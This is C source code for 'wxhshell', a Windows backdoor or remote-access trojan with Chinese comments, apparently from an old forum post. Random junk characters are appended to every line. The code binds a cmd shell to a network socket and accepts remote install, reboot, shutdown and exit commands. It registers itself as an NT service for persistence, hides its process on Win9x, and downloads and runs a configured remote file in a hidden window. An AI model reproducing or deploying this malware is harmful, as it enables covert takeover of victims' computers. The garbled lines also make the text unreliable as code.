  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h#*dI`>l-  
  } kZ:ZtE  
  else { 8,%^ M9zBP  
wlvgg  
    switch(cmd[0]) { @HCVmg:  
  OT*mO&Z  
  // 帮助 @mBQ?; qlK  
  case '?': { >U>(`r*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gD?l-RT>  
    break; uW{l(}0N  
  } .<FH>NW)  
  // 安装 sP~<*U.7  
  case 'i': { j$:~Rek  
    if(Install()) 00y!K m_D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w9imKVry  
    else q`-N7 ,$T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 33q}CzK  
    break; ^ @5QP$.  
    } V!=,0zy~Z  
  // 卸载 q;CiV  
  case 'r': { A)!*]o>U  
    if(Uninstall()) x,- 75  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ioCsV  
    else /SB;Von  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jr. "I+  
    break; G` A4|+W"  
    } zw[m9N5\h  
  // 显示 wxhshell 所在路径 EVSX.'&f  
  case 'p': { tk`v:t!6U  
    char svExeFile[MAX_PATH]; _{KG 4+5\X  
    strcpy(svExeFile,"\n\r"); ND;#7/$>  
      strcat(svExeFile,ExeFile); %> eiAB_b  
        send(wsh,svExeFile,strlen(svExeFile),0); 2zb"MEOS5  
    break; j^JPZ{ej ?  
    } fr3d  
  // 重启 L2z[   
  case 'b': { " 8MF_Gu):  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gd=RyoJl  
    if(Boot(REBOOT)) ?`ZU R& 20  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gef TdO.&  
    else { D>q9 3;p  
    closesocket(wsh); GVn!O1jio  
    ExitThread(0); b$jo Y*< 6  
    } (A#^l=su  
    break; VONDc1%ga  
    } eauF ~md,  
  // 关机 0h_|t-9j  
  case 'd': { T8g$uFo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /x$nje,.  
    if(Boot(SHUTDOWN)) =H8;iS2R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6&x@.1('z  
    else { 7:1Lol-V  
    closesocket(wsh); QWYJ *  
    ExitThread(0); m_]Y{3C  
    } Xv^qVn4  
    break; i/4>2y9/F4  
    } tD)J*]G  
  // 获取shell ga+dt  
  case 's': { Nf\LN$ &8  
    CmdShell(wsh); {wKB;?fUvk  
    closesocket(wsh); {<KVx9  
    ExitThread(0); ?caSb =f  
    break; [W&T(%(W-  
  } 4r}51 N\  
  // 退出 ?@86P|19  
  case 'x': { ;Y, y4{H3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~DwpoeYX  
    CloseIt(wsh); XL ^GZ  
    break; <5051U Eu  
    } 2+XA X:YD  
  // 离开 ;V!D :5U  
  case 'q': { @VEb{ w[H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }K(TjZR  
    closesocket(wsh); 9* M,R,y  
    WSACleanup(); @yYkti;4-  
    exit(1); F^:3?JA _  
    break; t6c4+D'{].  
        } 59u }W 0  
  } l/5 hp.  
  } [/r(__.  
_[BP 0\dPW  
  // 提示信息 yG{TH0tq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E1 2uZ$X  
} ,P0) 6>  
  } XiWmV  ?  
K&-"d/QuLg  
  return; !N^@4*  
} {.Jlbi9!  
gSj,E8-g  
// shell模块句柄 R;LP:,)  
int CmdShell(SOCKET sock) OyIw>Wfv  
{ "AqB$^S9t  
STARTUPINFO si; 8oGRLYU N  
ZeroMemory(&si,sizeof(si)); 2 %]X+`+O  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AbM'3Mkz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HoAy_7-5  
PROCESS_INFORMATION ProcessInfo; 2=}FBA,2  
char cmdline[]="cmd"; [-w%/D%@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y~V(aih}D  
  return 0; .xkM.g4{~  
} i|kRK7[6B  
?Bmb' 3  
// 自身启动模式 !4!~L k=  
int StartFromService(void)  bN.Pex  
{ -{vD: Il=6  
typedef struct kJR`:J3DJ  
{ 2~V*5~fb  
  DWORD ExitStatus; lB4WKn=?Kl  
  DWORD PebBaseAddress; 6S #Cl>v  
  DWORD AffinityMask; Z\sDUJ  
  DWORD BasePriority; Lw,h+@0  
  ULONG UniqueProcessId;  M6TD"-  
  ULONG InheritedFromUniqueProcessId; /-s6<e!  
}   PROCESS_BASIC_INFORMATION; |s_GlJV.  
DmcZta8n]  
PROCNTQSIP NtQueryInformationProcess; 1Y,Z %d  
kx^/*~ex  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K=&>t6s<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *qq+jsA6wH  
XWw804ir  
  HANDLE             hProcess; Zd+bx*rD  
  PROCESS_BASIC_INFORMATION pbi; (@YG~ 0  
%TqC/c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6eCCmIdaM  
  if(NULL == hInst ) return 0; <UCl@5g&  
dh\P4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =(^3}x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l^ }c!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b,@/!ia  
I-)4YQI  
  if (!NtQueryInformationProcess) return 0; HaYo!.(Fv  
;*J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xSu >  
  if(!hProcess) return 0; B5QFK  
5V-I1B&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wIgS3K  
Bw.i}3UT6  
  CloseHandle(hProcess); Ys7]B9/1O  
'GScszz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;{6~Bq9  
if(hProcess==NULL) return 0; X>^fEQq"  
"N#Y gSr  
HMODULE hMod; ^zr`;cJ+c  
char procName[255]; i30!}}N8  
unsigned long cbNeeded; pCG}Z Ka  
wC*X4 '  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '%;m?t% q  
d-%hjy3N  
  CloseHandle(hProcess); #&4=VGx{ #  
1;iUWU1@  
if(strstr(procName,"services")) return 1; // 以服务启动 q\%I#1  
A%vbhD2;W  
  return 0; // 注册表启动 {`_i`  
} + T+#q@  
OTv)  
// 主模块 $;PMkUE  
int StartWxhshell(LPSTR lpCmdLine) \<K5ZIWV  
{ zm#  ?W  
  SOCKET wsl; iow"n$/  
BOOL val=TRUE; Ul# r  
  int port=0; N>E_%]Ch  
  struct sockaddr_in door; D+c>F5  
x1<|hTPk  
  if(wscfg.ws_autoins) Install(); A}^mdw9  
{{1G`;|v 9  
port=atoi(lpCmdLine); =MWHJ'3-/  
}B^tL$k  
if(port<=0) port=wscfg.ws_port; g2]Qv@nxw  
u@444Vzg  
  WSADATA data; `@%LzeGz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X-/]IH DN  
3U}%2ARo_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^f@=:eWI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [><Tm \(:  
  door.sin_family = AF_INET; Lj7AZ|k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^^Vg~){4  
  door.sin_port = htons(port); d_ CT $  
VaPG-n>Vf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {)Xy%QV  
closesocket(wsl); j1Ezf=N6`  
return 1; 4z)]@:`}z  
} {[F A#  
a.Vuu)+Quw  
  if(listen(wsl,2) == INVALID_SOCKET) { _ dg\\c  
closesocket(wsl); WzWX E(  
return 1; U!]dEW|G  
} 0 "#HJA44  
  Wxhshell(wsl); .]Z"C&"N]  
  WSACleanup(); T{'RV0%   
0\$2X- c  
return 0; 1x^GWtRp  
D'4\*4is  
} HT@=evV  
V )4J`xg^  
// 以NT服务方式启动 4K74=r),i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *ui</+  
{ 6B-16  
DWORD   status = 0; t,' <gI  
  DWORD   specificError = 0xfffffff; h];I{crh  
cCX*D_kCB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =c7;r]Ol  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n!(F, b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /RF7j;  
  serviceStatus.dwWin32ExitCode     = 0; IA(5?7x`<  
  serviceStatus.dwServiceSpecificExitCode = 0; 2rMpgV5  
  serviceStatus.dwCheckPoint       = 0; #"an9<  
  serviceStatus.dwWaitHint       = 0; w =KPT''!  
%)n=x ne  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ho%CDz z  
  if (hServiceStatusHandle==0) return; Gh$^{  
I:.s_8mH}  
status = GetLastError(); %znc##j)q  
  if (status!=NO_ERROR) v,t:+ !8  
{ ] R*A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @PU [:;  
    serviceStatus.dwCheckPoint       = 0; ite~E5?#  
    serviceStatus.dwWaitHint       = 0; 0$njMnB2l  
    serviceStatus.dwWin32ExitCode     = status; #;<Y[hR{P  
    serviceStatus.dwServiceSpecificExitCode = specificError; Js;h%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hOeRd#AQK  
    return; pJ{Y lS{  
  } <vP=zk  
?# fQ~ s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .^g p?  
  serviceStatus.dwCheckPoint       = 0; 'PHl$f*k  
  serviceStatus.dwWaitHint       = 0; &wX]_:?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cnLro  
}  3CJwj  
cNH7C"@GVu  
// 处理NT服务事件,比如:启动、停止 _G0 x3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ##{taR8  
{ DI%saw  
switch(fdwControl) <uJ@:oWG7  
{ qWw=8Bq  
case SERVICE_CONTROL_STOP: 8_F1AU? u  
  serviceStatus.dwWin32ExitCode = 0; <QvOs@i*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  @8 6f  
  serviceStatus.dwCheckPoint   = 0; <}LC~B!  
  serviceStatus.dwWaitHint     = 0; q*KAk{kR(v  
  { qb4z T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e;jdqF~v!  
  } 'VbiVLWD  
  return; ME dWLFf  
case SERVICE_CONTROL_PAUSE: UI#h&j5pW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W4N{S.#!  
  break; F5Va+z,jg  
case SERVICE_CONTROL_CONTINUE: +qoRP2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b]y2+A.n  
  break; _g. {MTQ  
case SERVICE_CONTROL_INTERROGATE: f5r0\7y0  
  break; % `3jL7|  
}; xfQ1T)F3g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [vgtc.V  
} wj+*E6o-n  
$^ P0F9~0  
// 标准应用程序主函数 ZW}_DT0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l ,8##7  
{ MPV5P^@X  
nR~(0G,H  
// 获取操作系统版本 nK,w]{<wG!  
OsIsNt=GetOsVer(); hQ i2U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }*-@!wc-N  
9iq_rd]  
  // 从命令行安装 o@Oqm>]SS  
  if(strpbrk(lpCmdLine,"iI")) Install(); nlYNN/@"  
OCUr{Nh  
  // 下载执行文件 kl`W\tF  
if(wscfg.ws_downexe) { HhpDR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 68 sB )R  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;fJ.8C  
} TN.rrop`#g  
/\Ef%@  
if(!OsIsNt) { 9UkBwS`  
// 如果时win9x,隐藏进程并且设置为注册表启动 }}[2SH'nH  
HideProc(); ~V-XEQA  
StartWxhshell(lpCmdLine); :0ep( <|;  
} +H.`MZ=  
else ]A"h&`Cvt  
  if(StartFromService()) ;]iRk  
  // 以服务方式启动 -%~4W?  
  StartServiceCtrlDispatcher(DispatchTable); M{\I8oOg  
else q@&6#B  
  // 普通方式启动 J1vR5wbu  
  StartWxhshell(lpCmdLine); ( =$ x.1  
R2;  
return 0; '7/)Ot(  
}
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只看该作者 1 发表于: 2006-10-10
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